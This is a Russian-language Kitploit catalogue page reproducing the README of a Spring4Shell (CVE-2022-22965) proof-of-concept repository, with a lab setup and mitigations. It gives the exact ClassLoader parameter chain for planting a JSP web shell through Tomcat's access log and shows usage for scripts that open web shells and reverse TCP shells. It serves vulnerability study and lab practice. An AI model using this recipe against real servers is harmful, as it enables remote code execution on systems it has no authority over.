Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PoC-CVE-2022-22965-Spring4Shell — Описание | Kitploit
Инструменты/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubmarch0n/poc-cve-2022-22965-spring4shell

PoC-CVE-2022-22965-Spring4Shell

Описание

Репозиторий
23 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PoC — CVE-2022-22965 (Spring4Shell)

Дисклеймер: Этот репозиторий предназначен только для образовательных и исследовательских целей. Все эксплойт-скрипты должны использоваться исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным материалом.

Изучение и proof-of-concept для CVE-2022-22965 — критической уязвимости удалённого выполнения кода (RCE) в Spring Framework, публично раскрытой в апреле 2022 года.


Обзор уязвимости

Spring4Shell затрагивает приложения Spring MVC и Spring WebFlux, когда выполняются все следующие условия:

УсловиеЗначение
Версия JDK9 или выше
Сервер приложенийApache Tomcat
УпаковкаWAR (не исполняемый JAR)
Spring Framework< 5.3.18 или < 5.2.20

Как это работает

Механизм связывания данных Spring позволяет сопоставлять параметры HTTP-запроса со свойствами Java-объектов с помощью точечной нотации (например, user.name=foo). Уязвимость возникает из-за того, что этот обход не ограничен должным образом — злоумышленник может получить доступ к JVM ClassLoader через иерархию классов объекта модели:

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.<property>

Этот путь достигает AccessLogValve Tomcat, чью конфигурацию журналирования можно изменять в процессе выполнения. Изменяя такие свойства, как pattern, directory, prefix и suffix, злоумышленник перенаправляет журнал доступа Tomcat на запись файла с расширением .jsp, содержащего произвольный JSP-код — фактически размещая веб-шелл на сервере.

Схема атаки

root@kitploit:~
1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat записывает журнал доступа в webapps/ROOT/shell.jsp с внедрённой полезной нагрузкой

3. GET /shell.jsp?cmd=id  →  RCE

Структура репозитория

root@kitploit:~
.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

Варианты эксплойтов

СкриптМетодПолезная нагрузкаПримечания
exploit1.pyPOSTВеб-шелл (с паролем)Один запрос
exploit2.pyPOSTВеб-шеллСбрасывает конфигурацию журнала до/после эксплойта
exploit3.pyGETВеб-шелл (без пароля)Параметры через строку запроса
exploit4.pyGETРеверс-шелл TCPJSP-полезная нагрузка на основе msfvenom
exploit4b.pyPOSTРеверс-шелл TCPТа же нагрузка, что и в exploit4, вариант POST

Пример использования

root@kitploit:~
# Веб-шелл
python3 exploits/exploit1.py http://target:8080/vulnerable

# Реверс-шелл (сначала запустите слушатель: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

Лабораторная настройка

Предварительные требования

  • Java 11+
  • Maven (sudo apt install maven или sudo dnf install maven)
  • Docker (необязательно, рекомендуется)

Сборка

root@kitploit:~
cd springmvc5-helloworld-example
mvn clean package

Запуск с Docker

root@kitploit:~
# Вариант 1 — готовая сборка образа Tomcat
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Вариант 2 — сборка из openjdk + загрузка Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

После этого приложение доступно по адресу http://localhost:8082/vulnerable.


Меры по смягчению

  • Обновите Spring Framework до 5.3.18+ или 5.2.20+
  • Обновите Spring Boot до 2.6.6+ или 2.5.12+
  • Если обновление невозможно немедленно:
    • Перейдите на JDK 8
    • Используйте WebDataBinder.setDisallowedFields() для блокировки связывания classLoader
    • Разверните WAF-правило, блокирующее параметры, содержащие class., Class., module. или classLoader

Авторы

Оригинальное исследование и код эксплойта — @march0n. Этот репозиторий — личное изучение уязвимости в учебных целях с дополнительной документацией и анализом.


Ссылки

  • CVE-2010-1622 — оригинальный эксплойт Spring ClassLoader (2010)
  • Первоначальное раскрытие на китайском (Weixin)
  • Блог Microsoft Security — рекомендации по SpringShell
  • LunaSec — анализ уязвимостей Spring RCE
  • Palo Alto Unit 42 — глубокий разбор CVE-2022-22965
Скачать инструмент